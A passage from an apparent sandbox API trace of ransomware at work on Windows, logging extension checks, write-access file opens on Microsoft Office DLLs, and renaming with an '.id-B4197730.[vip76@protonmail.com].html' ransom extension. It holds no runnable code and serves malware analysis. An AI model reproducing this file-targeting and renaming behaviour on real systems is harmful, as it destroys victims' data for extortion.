	[0185.983] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0185.983] lstrlenW (lpString=".bz2") returned 4
	[0185.983] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0185.983] lstrlenW (lpString=".7z") returned 3
	[0185.983] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0185.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0185.983] lstrlenW (lpString=".dbf") returned 4
	[0185.983] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0185.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0185.983] lstrlenW (lpString=".1cd") returned 4
	[0185.983] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0185.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0185.983] lstrlenW (lpString=".jpg") returned 4
	[0185.983] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0185.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0185.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0185.983] lstrlenW (lpString=".doc") returned 4
	[0185.983] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0185.983] lstrlenW (lpString=".docx") returned 5
	[0185.983] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0185.983] lstrlenW (lpString=".pdf") returned 4
	[0185.983] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0185.983] lstrlenW (lpString=".xls") returned 4
	[0185.984] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0185.984] lstrlenW (lpString=".xlsx") returned 5
	[0185.984] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0185.984] lstrlenW (lpString=".ppt") returned 4
	[0185.984] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0185.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0185.984] lstrlenW (lpString=".zip") returned 4
	[0185.984] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0185.984] lstrlenW (lpString=".rar") returned 4
	[0185.984] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0185.984] lstrlenW (lpString=".bz2") returned 4
	[0185.984] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0185.984] lstrlenW (lpString=".7z") returned 3
	[0185.984] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0185.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0185.984] lstrlenW (lpString=".dbf") returned 4
	[0185.984] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0185.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0185.984] lstrlenW (lpString=".1cd") returned 4
	[0185.984] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0185.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-file-l2-1-0.dll") returned 80
	[0185.984] lstrlenW (lpString=".jpg") returned 4
	[0185.984] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0185.984] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0185.984] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39
	[0185.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0185.986] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=21184) returned 1
	[0185.986] CloseHandle (hObject=0x368) returned 1
	[0185.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220
	[0185.986] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0185.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0185.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0185.986] lstrlenW (lpString=".doc") returned 4
	[0185.987] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0185.987] lstrlenW (lpString=".docx") returned 5
	[0185.987] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0185.987] lstrlenW (lpString=".pdf") returned 4
	[0185.987] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0185.987] lstrlenW (lpString=".xls") returned 4
	[0185.987] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0185.987] lstrlenW (lpString=".xlsx") returned 5
	[0185.987] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0185.987] lstrlenW (lpString=".ppt") returned 4
	[0185.987] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0185.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0185.987] lstrlenW (lpString=".zip") returned 4
	[0185.987] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0185.987] lstrlenW (lpString=".rar") returned 4
	[0185.987] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0185.987] lstrlenW (lpString=".bz2") returned 4
	[0185.987] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0185.987] lstrlenW (lpString=".7z") returned 3
	[0185.987] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0185.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0185.987] lstrlenW (lpString=".dbf") returned 4
	[0185.987] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0185.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0185.987] lstrlenW (lpString=".1cd") returned 4
	[0185.987] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0185.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0185.988] lstrlenW (lpString=".jpg") returned 4
	[0185.988] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0185.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0185.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0185.988] lstrlenW (lpString=".doc") returned 4
	[0185.988] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0185.988] lstrlenW (lpString=".docx") returned 5
	[0185.988] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0185.988] lstrlenW (lpString=".pdf") returned 4
	[0185.988] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0185.988] lstrlenW (lpString=".xls") returned 4
	[0185.988] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0185.988] lstrlenW (lpString=".xlsx") returned 5
	[0185.988] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0185.988] lstrlenW (lpString=".ppt") returned 4
	[0185.988] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0185.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0185.988] lstrlenW (lpString=".zip") returned 4
	[0185.988] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0185.988] lstrlenW (lpString=".rar") returned 4
	[0185.988] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0185.988] lstrlenW (lpString=".bz2") returned 4
	[0185.988] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0185.988] lstrlenW (lpString=".7z") returned 3
	[0185.988] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0185.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0185.988] lstrlenW (lpString=".dbf") returned 4
	[0185.988] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0185.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0185.989] lstrlenW (lpString=".1cd") returned 4
	[0185.989] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0185.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-localization-l1-2-0.dll") returned 88
	[0185.989] lstrlenW (lpString=".jpg") returned 4
	[0185.989] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0185.989] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0185.989] lstrlenW (lpString="api-ms-win-core-processthreads-l1-1-1.dll") returned 41
	[0185.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0186.786] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=19136) returned 1
	[0186.786] CloseHandle (hObject=0x538) returned 1
	[0186.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220
	[0186.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0186.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0186.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0186.787] lstrlenW (lpString=".doc") returned 4
	[0186.787] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0186.787] lstrlenW (lpString=".docx") returned 5
	[0186.787] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0186.787] lstrlenW (lpString=".pdf") returned 4
	[0186.787] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0186.787] lstrlenW (lpString=".xls") returned 4
	[0186.787] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0186.787] lstrlenW (lpString=".xlsx") returned 5
	[0186.787] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0186.787] lstrlenW (lpString=".ppt") returned 4
	[0186.787] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0186.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0186.787] lstrlenW (lpString=".zip") returned 4
	[0186.787] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0186.787] lstrlenW (lpString=".rar") returned 4
	[0186.787] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0186.787] lstrlenW (lpString=".bz2") returned 4
	[0186.787] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0186.787] lstrlenW (lpString=".7z") returned 3
	[0186.788] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0186.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0186.788] lstrlenW (lpString=".dbf") returned 4
	[0186.788] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0186.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0186.788] lstrlenW (lpString=".1cd") returned 4
	[0186.788] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0186.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0186.788] lstrlenW (lpString=".jpg") returned 4
	[0186.788] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0186.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0186.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0186.788] lstrlenW (lpString=".doc") returned 4
	[0186.788] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0186.788] lstrlenW (lpString=".docx") returned 5
	[0186.788] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0186.788] lstrlenW (lpString=".pdf") returned 4
	[0186.788] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0186.788] lstrlenW (lpString=".xls") returned 4
	[0186.788] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0186.788] lstrlenW (lpString=".xlsx") returned 5
	[0186.788] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0186.788] lstrlenW (lpString=".ppt") returned 4
	[0186.788] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0186.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0186.788] lstrlenW (lpString=".zip") returned 4
	[0186.788] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0186.788] lstrlenW (lpString=".rar") returned 4
	[0186.789] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0186.789] lstrlenW (lpString=".bz2") returned 4
	[0186.789] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0186.789] lstrlenW (lpString=".7z") returned 3
	[0186.789] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0186.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0186.789] lstrlenW (lpString=".dbf") returned 4
	[0186.789] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0186.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0186.789] lstrlenW (lpString=".1cd") returned 4
	[0186.789] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0186.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90
	[0186.789] lstrlenW (lpString=".jpg") returned 4
	[0186.789] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0186.789] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0186.789] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32
	[0186.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0186.791] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=19136) returned 1
	[0186.791] CloseHandle (hObject=0x538) returned 1
	[0186.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220
	[0186.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0186.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0186.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0186.791] lstrlenW (lpString=".doc") returned 4
	[0186.791] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0186.792] lstrlenW (lpString=".docx") returned 5
	[0186.792] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0186.792] lstrlenW (lpString=".pdf") returned 4
	[0186.792] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0186.792] lstrlenW (lpString=".xls") returned 4
	[0186.792] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0186.792] lstrlenW (lpString=".xlsx") returned 5
	[0186.792] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0186.792] lstrlenW (lpString=".ppt") returned 4
	[0186.792] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0186.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0186.792] lstrlenW (lpString=".zip") returned 4
	[0186.792] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0186.792] lstrlenW (lpString=".rar") returned 4
	[0186.792] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0186.792] lstrlenW (lpString=".bz2") returned 4
	[0186.792] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0186.792] lstrlenW (lpString=".7z") returned 3
	[0186.792] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0186.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0186.792] lstrlenW (lpString=".dbf") returned 4
	[0186.792] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0186.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0186.792] lstrlenW (lpString=".1cd") returned 4
	[0186.792] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0186.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0186.792] lstrlenW (lpString=".jpg") returned 4
	[0186.792] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0186.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0186.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0186.793] lstrlenW (lpString=".doc") returned 4
	[0186.793] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0186.793] lstrlenW (lpString=".docx") returned 5
	[0186.793] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0186.793] lstrlenW (lpString=".pdf") returned 4
	[0186.793] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0186.793] lstrlenW (lpString=".xls") returned 4
	[0186.793] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0186.793] lstrlenW (lpString=".xlsx") returned 5
	[0186.793] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0186.793] lstrlenW (lpString=".ppt") returned 4
	[0186.793] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0186.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0186.793] lstrlenW (lpString=".zip") returned 4
	[0186.793] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0186.793] lstrlenW (lpString=".rar") returned 4
	[0186.793] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0186.793] lstrlenW (lpString=".bz2") returned 4
	[0186.793] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0186.793] lstrlenW (lpString=".7z") returned 3
	[0186.793] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0186.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0186.793] lstrlenW (lpString=".dbf") returned 4
	[0186.793] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0186.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0186.794] lstrlenW (lpString=".1cd") returned 4
	[0186.794] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0186.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81
	[0186.794] lstrlenW (lpString=".jpg") returned 4
	[0186.794] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0186.794] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0186.794] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35
	[0186.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0186.795] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=18624) returned 1
	[0186.795] CloseHandle (hObject=0x538) returned 1
	[0186.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220
	[0186.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0186.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0186.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0186.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0186.796] lstrlenW (lpString=".doc") returned 4
	[0186.796] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0186.796] lstrlenW (lpString=".docx") returned 5
	[0186.796] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0186.796] lstrlenW (lpString=".pdf") returned 4
	[0186.796] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0186.796] lstrlenW (lpString=".xls") returned 4
	[0186.796] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0186.796] lstrlenW (lpString=".xlsx") returned 5
	[0186.796] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0186.796] lstrlenW (lpString=".ppt") returned 4
	[0186.796] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0186.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0186.796] lstrlenW (lpString=".zip") returned 4
	[0186.796] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0186.796] lstrlenW (lpString=".rar") returned 4
	[0186.796] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0186.796] lstrlenW (lpString=".bz2") returned 4
	[0186.796] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0186.796] lstrlenW (lpString=".7z") returned 3
	[0186.796] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0186.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84
	[0186.797] lstrlenW (lpString=".dbf") returned 4
	[0186.797] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0186.820] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0186.822] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.822] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
